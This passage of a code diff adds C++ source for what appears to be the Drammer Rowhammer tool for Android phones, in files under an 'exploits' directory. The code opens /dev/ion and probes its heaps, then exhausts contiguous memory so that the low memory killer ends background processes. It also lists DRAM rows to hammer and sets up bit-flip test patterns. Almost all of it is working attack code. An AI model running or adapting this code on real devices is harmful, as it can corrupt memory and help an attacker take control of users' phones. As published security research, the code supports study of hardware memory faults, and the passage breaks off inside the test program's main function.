| 184 | + | ||
| 185 | + if (lowmem) break; | ||
| 186 | + } | ||
| 187 | + return count; | ||
| 188 | +} | ||
| 189 | + | ||
| 190 | +/********************************************** | ||
| 191 | + * Clean a vector of struct ion_data | ||
| 192 | + **********************************************/ | ||
| 193 | +void ION_clean_all(std::vector<struct ion_data *> &chunks, int max) { | ||
| 194 | + if (!max) max = chunks.size(); | ||
| 195 | + for (int i = 0; i < max; i++) { | ||
| 196 | + ION_clean(chunks[i]); | ||
| 197 | + delete(chunks[i]); | ||
| 198 | + } | ||
| 199 | + chunks.erase(chunks.begin(), chunks.begin() + max); // remove first <max> elements | ||
| 200 | +} | ||
| 201 | + | ||
| 202 | +/********************************************** | ||
| 203 | + * Populate a vector of virtual address that we can hammer | ||
| 204 | + **********************************************/ | ||
| 205 | +void ION_get_hammerable_rows(struct ion_data * chunk) { | ||
| 206 | + if (chunk->len < (3*rowsize)) return; | ||
| 207 | + if (chunk->mapping == NULL) return; | ||
| 208 | + for (int offset = rowsize; | ||
| 209 | + offset < chunk->len - rowsize; | ||
| 210 | + offset += rowsize) { | ||
| 211 | + uintptr_t virt_row = (uintptr_t) chunk->mapping + offset; | ||
| 212 | + chunk->hammerable_rows.push_back(virt_row); | ||
| 213 | + } | ||
| 214 | +} | ||
| 215 | + | ||
| 216 | + | ||
| 217 | +/********************************************** | ||
| 218 | + * Initialize and finalize /dev/ion | ||
| 219 | + **********************************************/ | ||
| 220 | +void ION_init(void) { | ||
| 221 | + // get chipset | ||
| 222 | + chipset = CHIPSET_MSM; | ||
| 223 | + std::ifstream cpuinfo("/proc/cpuinfo"); | ||
| 224 | + for (std::string line; getline(cpuinfo, line); ) { | ||
| 225 | + if (line.find("Qualcomm") != std::string::npos) { | ||
| 226 | + print("Detected chipset: Qualcomm\n"); | ||
| 227 | + chipset = CHIPSET_MSM; | ||
| 228 | + break; | ||
| 229 | + } | ||
| 230 | + if (line.find("Exynos") != std::string::npos) { | ||
| 231 | + print("Detected chipset: Exynos\n"); | ||
| 232 | + chipset = CHIPSET_EXYNOS; | ||
| 233 | + break; | ||
| 234 | + } | ||
| 235 | + if (line.find(": 0x53") != std::string::npos) { | ||
| 236 | + print("Detected chipset: Exynos\n"); // S7, S7 Edge, but probably more :( | ||
| 237 | + chipset = CHIPSET_EXYNOS; | ||
| 238 | + break; | ||
| 239 | + } | ||
| 240 | + if (line.find(": sc") != std::string::npos) { | ||
| 241 | + // Hardware : sc8830 | ||
| 242 | + print("Detected chipset: Spreadtrum\n"); | ||
| 243 | + chipset = CHIPSET_SPREADTRUM; | ||
| 244 | + break; | ||
| 245 | + } | ||
| 246 | + if (line.find("EXYNOS") != std::string::npos) { | ||
| 247 | + // Samsung EXYNOS5433 | ||
| 248 | + print("Detected chipset: Exynos\n"); | ||
| 249 | + chipset = CHIPSET_EXYNOS; | ||
| 250 | + break; | ||
| 251 | + } | ||
| 252 | + if (line.find("UNIVERSAL") != std::string::npos) { | ||
| 253 | + print("Detected chipset: UNIVERSAL\n"); | ||
| 254 | + chipset = CHIPSET_UNIVERSAL; | ||
| 255 | + break; | ||
| 256 | + } | ||
| 257 | + if (line.find("MAKO") != std::string::npos) { | ||
| 258 | + print("Detected chipset: Mako\n"); | ||
| 259 | + chipset = CHIPSET_MAKO; | ||
| 260 | + break; | ||
| 261 | + } | ||
| 262 | + if (line.find("Flounder") != std::string::npos) { | ||
| 263 | + print("Detected chipset: Tegra\n"); | ||
| 264 | + chipset = CHIPSET_TEGRA; | ||
| 265 | + break; | ||
| 266 | + } | ||
| 267 | + if (line.find(": MT") != std::string::npos) { | ||
| 268 | + print("Detected chipset: Mediatek\n"); | ||
| 269 | + chipset = CHIPSET_MEDIATEK; | ||
| 270 | + break; | ||
| 271 | + } | ||
| 272 | + if (line.find(": hi") != std::string::npos) { | ||
| 273 | + print("Detected chipset Kirin\n"); | ||
| 274 | + chipset = CHIPSET_KIRIN; | ||
| 275 | + break; | ||
| 276 | + } | ||
| 277 | + if (line.find("Kirin") != std::string::npos) { | ||
| 278 | + print("Detected chipset Kirin\n"); | ||
| 279 | + chipset = CHIPSET_KIRIN; | ||
| 280 | + break; | ||
| 281 | + } | ||
| 282 | + if (line.find("MSM8627") != std::string::npos) { | ||
| 283 | + print("Detected cihpset MSM8627\n"); | ||
| 284 | + chipset = CHIPSET_QCT; | ||
| 285 | + } | ||
| 286 | + } | ||
| 287 | + | ||
| 288 | + ion_fd = open("/dev/ion", O_RDONLY); | ||
| 289 | + if (!ion_fd) { | ||
| 290 | + perror("Could not open ion"); | ||
| 291 | + exit(EXIT_FAILURE); | ||
| 292 | + } | ||
| 293 | + | ||
| 294 | + int err; | ||
| 295 | + sigset_t sigset; | ||
| 296 | + | ||
| 297 | + err = sigfillset(&sigset); | ||
| 298 | + if (err != 0) perror("sigfillset"); | ||
| 299 | + | ||
| 300 | + err = sigprocmask(SIG_UNBLOCK, &sigset, NULL); | ||
| 301 | + if (err != 0) perror("sigprocmask"); | ||
| 302 | + | ||
| 303 | + setvbuf(stdout, NULL, _IONBF, 0); | ||
| 304 | +} | ||
| 305 | +void ION_fini(void) { | ||
| 306 | + close(ion_fd); | ||
| 307 | +} | ||
| 308 | + | ||
| 309 | + | ||
| 310 | + | ||
| 311 | + | ||
| 312 | +void ION_detector(void) { | ||
| 313 | + for (int i = 0; i < 32; i++) { | ||
| 314 | + uint32_t mask = 0x1 << i; | ||
| 315 | + printf("Trying to allocate 4KB with heap id: %2d | mask: %8x ", i, mask); | ||
| 316 | + | ||
| 317 | + struct ion_handle_data handle_data; | ||
| 318 | + struct ion_allocation_data allocation_data; | ||
| 319 | + allocation_data.flags = 0; | ||
| 320 | + allocation_data.align = 0; | ||
| 321 | + allocation_data.len = K(4); | ||
| 322 | + allocation_data.heap_id_mask = mask; | ||
| 323 | + int err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data); | ||
| 324 | + if (err) { | ||
| 325 | + printf(" -> nope (%s)\n", strerror(errno)); | ||
| 326 | + continue; | ||
| 327 | + } | ||
| 328 | + printf(" -> ok!\n"); | ||
| 329 | + handle_data.handle = allocation_data.handle; | ||
| 330 | + err = ioctl(ion_fd, ION_IOC_FREE, &handle_data); | ||
| 331 | + if (err) { | ||
| 332 | + printf(" -> could not free (%s)\n", strerror(errno)); | ||
| 333 | + continue; | ||
| 334 | + } | ||
| 335 | + | ||
| 336 | + printf("...... to allocate 4MB with heap id: %2d | mask: %8x ", i, mask); | ||
| 337 | + allocation_data.len = M(4); | ||
| 338 | + err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data); | ||
| 339 | + if (err) { | ||
| 340 | + printf(" -> nope (%s)\n", strerror(errno)); | ||
| 341 | + continue; | ||
| 342 | + } | ||
| 343 | + printf(" -> ok!\n"); | ||
| 344 | + handle_data.handle = allocation_data.handle; | ||
| 345 | + err = ioctl(ion_fd, ION_IOC_FREE, &handle_data); | ||
| 346 | + if (err) { | ||
| 347 | + printf(" -> could not free (%s)\n", strerror(errno)); | ||
| 348 | + continue; | ||
| 349 | + } | ||
| 350 | + | ||
| 351 | + printf("...... to allocate 16MB with heap id: %2d | mask: %8x ", i, mask); | ||
| 352 | + allocation_data.len = M(16); | ||
| 353 | + err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data); | ||
| 354 | + if (err) { | ||
| 355 | + printf(" -> nope (%s)\n", strerror(errno)); | ||
| 356 | + continue; | ||
| 357 | + } | ||
| 358 | + printf(" -> ok!\n"); | ||
| 359 | + handle_data.handle = allocation_data.handle; | ||
| 360 | + err = ioctl(ion_fd, ION_IOC_FREE, &handle_data); | ||
| 361 | + if (err) { | ||
| 362 | + printf(" -> could not free (%s)\n", strerror(errno)); | ||
| 363 | + continue; | ||
| 364 | + } | ||
| 365 | + } | ||
| 366 | +} |
exploits/drammer/ion.h
0 → 100644
| 1 | +++ a/exploits/drammer/ion.h | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | + | ||
| 18 | +#ifndef __ION_H__ | ||
| 19 | +#define __ION_H__ | ||
| 20 | + | ||
| 21 | +#include <map> | ||
| 22 | +#include <numeric> | ||
| 23 | +#include <set> | ||
| 24 | +#include <vector> | ||
| 25 | + | ||
| 26 | +#include <linux/ion.h> | ||
| 27 | +#include <strings.h> | ||
| 28 | + | ||
| 29 | + | ||
| 30 | +struct ion_data { | ||
| 31 | + ion_user_handle_t handle; | ||
| 32 | + int fd, len; | ||
| 33 | + void *mapping = NULL; | ||
| 34 | + | ||
| 35 | + std::vector<uintptr_t> hammerable_rows; | ||
| 36 | +}; | ||
| 37 | + | ||
| 38 | + | ||
| 39 | + | ||
| 40 | +ion_user_handle_t ION_alloc(int len, int heap_id = -1); | ||
| 41 | +int ION_share(ion_user_handle_t handle); | ||
| 42 | +int ION_free (ion_user_handle_t handle); | ||
| 43 | + | ||
| 44 | +int ION_mmap (struct ion_data *data, int prot = -1, int flags = -1, void *addr = NULL); | ||
| 45 | +void ION_clean(struct ion_data *data); | ||
| 46 | +int ION_bulk(int len, std::vector<struct ion_data *> &chunks, int max = 0, bool mmap = true); | ||
| 47 | +void ION_clean_all( std::vector<struct ion_data *> &chunks, int max = 0); | ||
| 48 | +void ION_get_hammerable_rows(struct ion_data *chunk); | ||
| 49 | + | ||
| 50 | +void ION_detector(void); | ||
| 51 | +void ION_init(void); | ||
| 52 | +void ION_fini(void); | ||
| 53 | + | ||
| 54 | +#endif |
exploits/drammer/massage.cc
0 → 100644
| 1 | +++ a/exploits/drammer/massage.cc | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | +#include <algorithm> | ||
| 18 | +#include <fstream> | ||
| 19 | +#include <iostream> | ||
| 20 | +#include <set> | ||
| 21 | + | ||
| 22 | +#include <assert.h> | ||
| 23 | +#include <fcntl.h> | ||
| 24 | +#include <stdint.h> | ||
| 25 | +#include <stdio.h> | ||
| 26 | +#include <stdlib.h> | ||
| 27 | +#include <string> | ||
| 28 | +#include <sys/ioctl.h> | ||
| 29 | +#include <sys/mman.h> | ||
| 30 | +#include <sys/stat.h> | ||
| 31 | +#include <sys/types.h> | ||
| 32 | +#include <unistd.h> | ||
| 33 | + | ||
| 34 | +#include "helper.h" | ||
| 35 | +#include "ion.h" | ||
| 36 | +#include "massage.h" | ||
| 37 | +#include "rowsize.h" | ||
| 38 | +#include "templating.h" | ||
| 39 | + | ||
| 40 | +extern bool lowmem; | ||
| 41 | + | ||
| 42 | +bool alloc_timeout; | ||
| 43 | +void alloc_alarm(int signal) { | ||
| 44 | + printf("Allocation timeout\n"); | ||
| 45 | + alloc_timeout = true; | ||
| 46 | +} | ||
| 47 | + | ||
| 48 | +std::ifstream meminfo("/proc/meminfo"); | ||
| 49 | +size_t read_meminfo(std::string type) { | ||
| 50 | + meminfo.clear(); | ||
| 51 | + meminfo.seekg(0, std::ios::beg); | ||
| 52 | + for (std::string line; getline(meminfo, line); ) { | ||
| 53 | + if (line.find(type) != std::string::npos) { | ||
| 54 | + std::string kb = line.substr( line.find(':') + 1, line.length() - type.length() - 3 ); | ||
| 55 | + return std::atoi(kb.c_str()); | ||
| 56 | + } | ||
| 57 | + } | ||
| 58 | + return 0; | ||
| 59 | +} | ||
| 60 | +size_t get_LowFree(void) { return read_meminfo("LowFree"); } | ||
| 61 | + | ||
| 62 | +int exhaust(std::vector<struct ion_data *> &chunks, int min_bytes, bool mmap) { | ||
| 63 | + int total_kb; | ||
| 64 | + | ||
| 65 | + total_kb = 0; | ||
| 66 | + for (int order = MAX_ORDER; order >= B_TO_ORDER(min_bytes); order--) { | ||
| 67 | + int count = ION_bulk(ORDER_TO_B(order), chunks, 0, mmap); | ||
| 68 | + print("[EXHAUST] - order %2d (%4d KB) - got %3d chunks\n", | ||
| 69 | + order, ORDER_TO_KB(order), count); | ||
| 70 | + total_kb += ORDER_TO_KB(order) * count; | ||
| 71 | + | ||
| 72 | + if (lowmem) break; | ||
| 73 | + } | ||
| 74 | + print("[EXHAUST] allocated %d KB (%d MB)\n", total_kb, total_kb / 1024); | ||
| 75 | + | ||
| 76 | + return total_kb; | ||
| 77 | +} | ||
| 78 | + | ||
| 79 | + | ||
| 80 | + | ||
| 81 | + | ||
| 82 | +/* stop defrag when it has been working for more than ALLOC_TIMEOUT seconds */ | ||
| 83 | +#define ALLOC_TIMEOUT 10 | ||
| 84 | + | ||
| 85 | +/* stop defrag when the system has less than MIN_LOWFREE KB low memory left */ | ||
| 86 | +#define MIN_LOWFREE 4 * 1024 | ||
| 87 | + | ||
| 88 | +/* stop defrag when none of the last <INTERVAL> allocations yield more than MIN_COUNT blocks */ | ||
| 89 | +#define INTERVAL 10 | ||
| 90 | +#define MIN_COUNT 10 | ||
| 91 | + | ||
| 92 | +/* The goal of defrag() is to trick the system into reserving more 'ION memory' | ||
| 93 | + * that we can allocate when we start templating. We do this by exhausting all | ||
| 94 | + * 4K ION chunks, resulting in the low memory killer killing background | ||
| 95 | + * processes and moving cached memory into a pool that can be used for ION | ||
| 96 | + * allocations. | ||
| 97 | + * | ||
| 98 | + * We first exhaust all contiguous chunks of size 64KB and up, to ensure that | ||
| 99 | + * background processes are already forced to use smaller contiguous memory | ||
| 100 | + * chunks (up to 32KB). Since we cannot simply exhaust *all* 4KB chunks (we | ||
| 101 | + * would go completely out of memory), we then allocate chunks until: | ||
| 102 | + * - a timeout occurs (after ALLOC_TIMEOUT seconds); or | ||
| 103 | + * - the system has little free low memory left (MIN_LOWFREE KB); or | ||
| 104 | + * - we did not get many new blocks during the last x seconds (INTERAL / | ||
| 105 | + * MINCOUNT) | ||
| 106 | + */ | ||
| 107 | +void defrag(int alloc_timer) { | ||
| 108 | + std::vector<struct ion_data *> defrag_chunks; | ||
| 109 | + | ||
| 110 | + time_t start_time = 0; | ||
| 111 | + time_t prev_time = 0; | ||
| 112 | + int count = 0; | ||
| 113 | + int prev_count = 0; | ||
| 114 | + int alloc_count[INTERVAL]; | ||
| 115 | + for (int i = 0; i < INTERVAL; i++) alloc_count[i] = MIN_COUNT + 1; | ||
| 116 | + int alloc_count_index = 0; | ||
| 117 | + int len = K(4); | ||
| 118 | + | ||
| 119 | + exhaust(defrag_chunks, K(64), false); | ||
| 120 | + | ||
| 121 | + if (lowmem) goto bail; | ||
| 122 | + | ||
| 123 | + alloc_timeout = false; | ||
| 124 | + signal(SIGALRM, alloc_alarm); | ||
| 125 | + alarm(alloc_timer); | ||
| 126 | + | ||
| 127 | + start_time = time(NULL); | ||
| 128 | + | ||
| 129 | + while (true) { | ||
| 130 | + struct ion_data *data = new ion_data; | ||
| 131 | + if (data == NULL) { | ||
| 132 | + perror("Could not allocate memory"); | ||
| 133 | + exit(EXIT_FAILURE); | ||
| 134 | + } | ||
| 135 | + data->handle = ION_alloc(len); | ||
| 136 | + if (data->handle == 0) { | ||
| 137 | + printf("Exhausted *all* memory?\n"); | ||
| 138 | + break; | ||
| 139 | +// exit(EXIT_FAILURE); | ||
| 140 | + } | ||
| 141 | + data->len = len; | ||
| 142 | + data->mapping = NULL; | ||
| 143 | + count++; | ||
| 144 | + | ||
| 145 | + time_t curr_time = time(NULL); | ||
| 146 | + if (curr_time != prev_time) { | ||
| 147 | + int lowfree = get_LowFree(); | ||
| 148 | + int timerunning = (curr_time - start_time); | ||
| 149 | + int timeleft = alloc_timer - timerunning; | ||
| 150 | + | ||
| 151 | + alloc_count[alloc_count_index] = (count - prev_count); | ||
| 152 | + alloc_count_index = (alloc_count_index + 1) % 10; | ||
| 153 | + bool progress = false; | ||
| 154 | + print("[DEFRAG] Blocks allocated last %d intervals: ", 10); | ||
| 155 | + for (int i = 9; i >= 0; i--) { | ||
| 156 | + printf("%5d ", alloc_count[(alloc_count_index + i) % 10]); | ||
| 157 | + if (alloc_count[i] > MIN_COUNT) | ||
| 158 | + progress = true; | ||
| 159 | + } | ||
| 160 | + print(" | time left: %3d | low free: %8d KB | blocks: %8d\n", | ||
| 161 | + timeleft, lowfree, count); | ||
| 162 | + | ||
| 163 | + if (!progress) { | ||
| 164 | + print("[DEFRAG] Not enough progress\n"); | ||
| 165 | + break; | ||
| 166 | + } | ||
| 167 | + | ||
| 168 | + // some devices do not report LowFree in /proc/meminfo | ||
| 169 | + if (lowfree > 0 && lowfree < MIN_LOWFREE) { | ||
| 170 | + print("[DEFRAG] Not enough low memory\n"); | ||
| 171 | + break; | ||
| 172 | + } | ||
| 173 | + | ||
| 174 | + if (alloc_timeout) { | ||
| 175 | + print("[DEFRAG] Timeout\n"); | ||
| 176 | + break; | ||
| 177 | + } | ||
| 178 | + | ||
| 179 | + prev_count = count; | ||
| 180 | + prev_time = curr_time; | ||
| 181 | + } | ||
| 182 | + defrag_chunks.push_back(data); | ||
| 183 | + } | ||
| 184 | + | ||
| 185 | + print("[DEFRAG] Additionally got %d chunks of size %d KB (%d bytes in total = %d MB)\n", | ||
| 186 | + count, len, count * len, count * len / 1024 / 1024); | ||
| 187 | + | ||
| 188 | +bail: | ||
| 189 | + ION_clean_all(defrag_chunks); | ||
| 190 | + | ||
| 191 | + printf("[DEFRAG] Dumping /proc/pagetypeinfo\n"); | ||
| 192 | + std::ifstream pagetypeinfo("/proc/pagetypeinfo"); | ||
| 193 | + pagetypeinfo.clear(); | ||
| 194 | + pagetypeinfo.seekg(0, std::ios::beg); | ||
| 195 | + for (std::string line; getline(pagetypeinfo, line); ) { | ||
| 196 | + if (!line.empty()) print("%s\n", line.c_str()); | ||
| 197 | + } | ||
| 198 | +} |
exploits/drammer/massage.h
0 → 100644
| 1 | +++ a/exploits/drammer/massage.h | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | + | ||
| 18 | +#ifndef __MASSAGE_H__ | ||
| 19 | +#define __MASSAGE_H__ | ||
| 20 | + | ||
| 21 | +void defrag(int alloc_timer); | ||
| 22 | +int exhaust(std::vector<struct ion_data *> &chunks, int min_bytes, bool mmap = true); | ||
| 23 | + | ||
| 24 | +#endif |
exploits/drammer/rh-test.cc
0 → 100644
| 1 | +++ a/exploits/drammer/rh-test.cc | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | +#include <algorithm> | ||
| 18 | +#include <fstream> | ||
| 19 | +#include <iostream> | ||
| 20 | +#include <set> | ||
| 21 | +#include <string> | ||
| 22 | + | ||
| 23 | +#include <assert.h> | ||
| 24 | +#include <fcntl.h> | ||
| 25 | +#include <stdint.h> | ||
| 26 | +#include <stdio.h> | ||
| 27 | +#include <stdlib.h> | ||
| 28 | +#include <sys/ioctl.h> | ||
| 29 | +#include <sys/mman.h> | ||
| 30 | +#include <sys/stat.h> | ||
| 31 | +#include <sys/types.h> | ||
| 32 | +#include <unistd.h> | ||
| 33 | + | ||
| 34 | +#include "helper.h" | ||
| 35 | +#include "ion.h" | ||
| 36 | +#include "massage.h" | ||
| 37 | +#include "rowsize.h" | ||
| 38 | +#include "templating.h" | ||
| 39 | + | ||
| 40 | +#define HAMMER_READCOUNT 1000000 | ||
| 41 | + | ||
| 42 | +FILE *global_of = NULL; | ||
| 43 | + | ||
| 44 | +extern int rowsize; | ||
| 45 | + | ||
| 46 | + | ||
| 47 | + | ||
| 48 | +void usage(char *main_program) { | ||
| 49 | + fprintf(stderr,"Usage: %s [-a] [-c count] [-d seconds] [-f file] [-h] [-i] [-q cpu] [-r rowsize] [-t timer]\n", main_program); | ||
| 50 | + fprintf(stderr," -a : Run all pattern combinations\n"); | ||
| 51 | + fprintf(stderr," -c count : Number of memory accesses per hammer round (default is %d)\n",HAMMER_READCOUNT); | ||
| 52 | + fprintf(stderr," -d seconds: Number of seconds to run defrag (default is disabled)\n"); | ||
| 53 | + fprintf(stderr," -f file : Write output to this file\n"); | ||
| 54 | + fprintf(stderr," -h : This help\n"); | ||
| 55 | + fprintf(stderr," -i : Run ion heap type detector\n"); | ||
| 56 | + fprintf(stderr," -q cpu : Pin to this CPU\n"); | ||
| 57 | + fprintf(stderr," -r rowsize: Rowsize of DRAM module in B (autodetect if not specified)\n"); | ||
| 58 | + fprintf(stderr," -s : Hammer more conservative (currently set to hammering every 64 bytes)\n"); | ||
| 59 | + fprintf(stderr," -t timer : Number of seconds to hammer (default is to hammer everything)\n"); | ||
| 60 | +} | ||
| 61 | + | ||
| 62 | +void resetter(uint8_t *pattern) { | ||
| 63 | + for (int i = 0; i < MAX_ROWSIZE; i++) { | ||
| 64 | + pattern[i] = rand() % 255; | ||
| 65 | + } | ||
| 66 | +} | ||
| 67 | + | ||
| 68 | + | ||
| 69 | +int main(int argc, char *argv[]) { | ||
| 70 | + printf("______ ______ _______ _______ _______ _______ ______ \n"); | ||
| 71 | + printf("| \\ |_____/ |_____| | | | | | | |______ |_____/ \n"); | ||
| 72 | + printf("|_____/ | \\_ | | | | | | | | |______ | \\_\n"); | ||
| 73 | + printf("\n"); | ||
| 74 | + | ||
| 75 | + int c; | ||
| 76 | + int timer = 0; | ||
| 77 | + int alloc_timer = 0; | ||
| 78 | + char *outputfile = NULL; | ||
| 79 | + int hammer_readcount = HAMMER_READCOUNT; | ||
| 80 | + bool heap_type_detector = false; | ||
| 81 | + bool do_conservative = false; | ||
| 82 | + bool all_patterns = false; | ||
| 83 | + int cpu_pinning = -1; | ||
| 84 | + opterr = 0; | ||
| 85 | + while ((c = getopt(argc, argv, "sac:d:f:hiq:r:t:")) != -1) { | ||
| 86 | + switch (c) { | ||
| 87 | + case 'a': | ||
| 88 | + all_patterns = true; | ||
| 89 | + break; | ||
| 90 | + case 'c': | ||
| 91 | + hammer_readcount = strtol(optarg, NULL, 10); | ||
| 92 | + break; | ||
| 93 | + case 'd': | ||
| 94 | + alloc_timer = strtol(optarg, NULL, 10); | ||
| 95 | + break; | ||
| 96 | + case 'f': | ||
| 97 | + outputfile = optarg; | ||
| 98 | + break; | ||
| 99 | + case 'h': | ||
| 100 | + usage(argv[0]); | ||
| 101 | + return 0; | ||
| 102 | + case 'i': | ||
| 103 | + heap_type_detector = true; | ||
| 104 | + break; | ||
| 105 | + case 'q': | ||
| 106 | + cpu_pinning = strtol(optarg, NULL, 10); | ||
| 107 | + break; | ||
| 108 | + case 'r': | ||
| 109 | + rowsize = strtol(optarg, NULL, 10); | ||
| 110 | + break; | ||
| 111 | + case 's': | ||
| 112 | + do_conservative = true; | ||
| 113 | + break; | ||
| 114 | + case 't': | ||
| 115 | + timer = strtol(optarg, NULL, 10); | ||
| 116 | + break; | ||
| 117 | + case '?': | ||
| 118 | + if (optopt == 'c' || optopt == 'd' || optopt == 'f' || optopt == 'q' || optopt == 'r' || optopt == 't') | ||
| 119 | + fprintf(stderr, "Option -%c requires an argument.\n", optopt); | ||
| 120 | + else if (isprint(optopt)) | ||
| 121 | + fprintf(stderr,"Unknown option `-%c'.\n", optopt); | ||
| 122 | + else | ||
| 123 | + fprintf(stderr,"Unknown option character `\\x%x'.\n", optopt); | ||
| 124 | + usage(argv[0]); | ||
| 125 | + return 1; | ||
| 126 | + default: | ||
| 127 | + abort(); | ||
| 128 | + } | ||
| 129 | + } | ||
| 130 | + | ||
| 131 | + | ||
| 132 | + printf("[MAIN] ION init\n"); | ||
| 133 | + ION_init(); | ||
| 134 | + | ||
| 135 | + std::vector<struct ion_data *> ion_chunks; | ||
| 136 | + std::vector<struct template_t *> templates; | ||
| 137 | + | ||
| 138 | + if (outputfile != NULL) { | ||
| 139 | + global_of = fopen(outputfile, "w"); | ||
| 140 | + if (global_of == NULL) { | ||
| 141 | + perror("could not open output file"); | ||
| 142 | + exit(0); | ||
| 143 | + } | ||
| 144 | + setvbuf(global_of, NULL, _IONBF, 0); | ||
| 145 | + } | ||
| 146 | + setvbuf(stderr, NULL, _IONBF, 0); | ||
| 147 | + setvbuf(stdout, NULL, _IONBF, 0); | ||
| 148 | + | ||
| 149 | + | ||
| 150 | + if (heap_type_detector) { | ||
| 151 | + ION_detector(); | ||
| 152 | + return 0; | ||
| 153 | + } | ||
| 154 | + | ||
| 155 | + if (cpu_pinning != -1) { | ||
| 156 | + printf("[MAIN] Pinning to CPU...\n"); | ||
| 157 | + cpu_set_t cpuset; | ||
| 158 | + CPU_ZERO(&cpuset); | ||
| 159 | + CPU_SET(cpu_pinning, &cpuset); | ||
| 160 | + if (sched_setaffinity(0, sizeof(cpuset), &cpuset)) { | ||
| 161 | + perror("Could not pin CPU"); | ||
| 162 | + } | ||
| 163 | + } | ||
| 164 | + | ||
| 165 | + /*** DEFRAG MEMORY */ | ||
| 166 | + if (alloc_timer) { | ||
| 167 | + printf("[MAIN] Defragment memory\n"); | ||
| 168 | + defrag(alloc_timer); | ||
| 169 | + } | ||
| 170 | + | ||
| 171 | + /*** ROW SIZE DETECTION (if not specified) */ | ||
| 172 | + if (!VALID_ROWSIZES.count(rowsize)) { | ||
| 173 | + printf("[MAIN] No or weird row size provided, trying auto detect\n"); | ||
| 174 | + rowsize = RS_autodetect(); | ||
| 175 | + } | ||
| 176 | + print("[MAIN] Row size: %d\n", rowsize); | ||
| 177 | + | ||
| 178 | + /*** EXHAUST */ | ||
| 179 | + printf("[MAIN] Exhaust ION chunks for templating\n"); | ||
| 180 | + exhaust(ion_chunks, rowsize * 4); | ||
| 181 | + | ||
| 182 | + | ||
| 183 | + /* patterns: above victim below | ||
| 184 | + * p000 0x00000000 0x00000000 0x00000000 | ||
| 185 | + * p001 0x00000000 0x00000000 0xffffffff | ||
| 186 | + * p010 0x00000000 0xffffffff 0x00000000 <-- default | ||
| 187 | + * p011 0x00000000 0xffffffff 0xffffffff | ||
| 188 | + * p100 0xffffffff 0x00000000 0x00000000 | ||
| 189 | + * p101 0xffffffff 0x00000000 0xffffffff <-- default | ||
| 190 | + * p110 0xffffffff 0xffffffff 0x00000000 | ||
| 191 | + * p111 0xffffffff 0xffffffff 0xffffffff | ||
| 192 | + * | ||
| 193 | + * p00r 0x00000000 0x00000000 0x<RANDOM> | ||
| 194 | + * p0r0 0x00000000 0x<RANDOM> 0x00000000 | ||
| 195 | + * p0rr 0x00000000 0x<RANDOM> 0x<RANDOM> | ||
| 196 | + * pr00 0x<RANDOM> 0x00000000 0x00000000 | ||
| 197 | + * pr0r 0x<RANDOM> 0x00000000 0x<RANDOM> | ||
| 198 | + * prr0 0x<RANDOM> 0x<RANDOM> 0x00000000 | ||
| 199 | + * prrr 0x<RANDOM> 0x<RANDOM> 0x<RANDOM> | ||
| 200 | + */ | ||
| 201 | + | ||
| 202 | + printf("[MAIN] Initializing patterns\n"); | ||
| 203 | + uint8_t ones[MAX_ROWSIZE]; | ||
| 204 | + uint8_t zeros[MAX_ROWSIZE]; | ||
| 205 | + uint8_t rand1[MAX_ROWSIZE]; | ||
| 206 | + uint8_t rand2[MAX_ROWSIZE]; | ||
| 207 | + uint8_t rand3[MAX_ROWSIZE]; | ||
| 208 | + memset( ones, 0xff, MAX_ROWSIZE); | ||
| 209 | + memset(zeros, 0x00, MAX_ROWSIZE); | ||
| 210 | + for (int i = 0; i < MAX_ROWSIZE; i++) { | ||
| 211 | + rand1[i] = rand() % 255; | ||
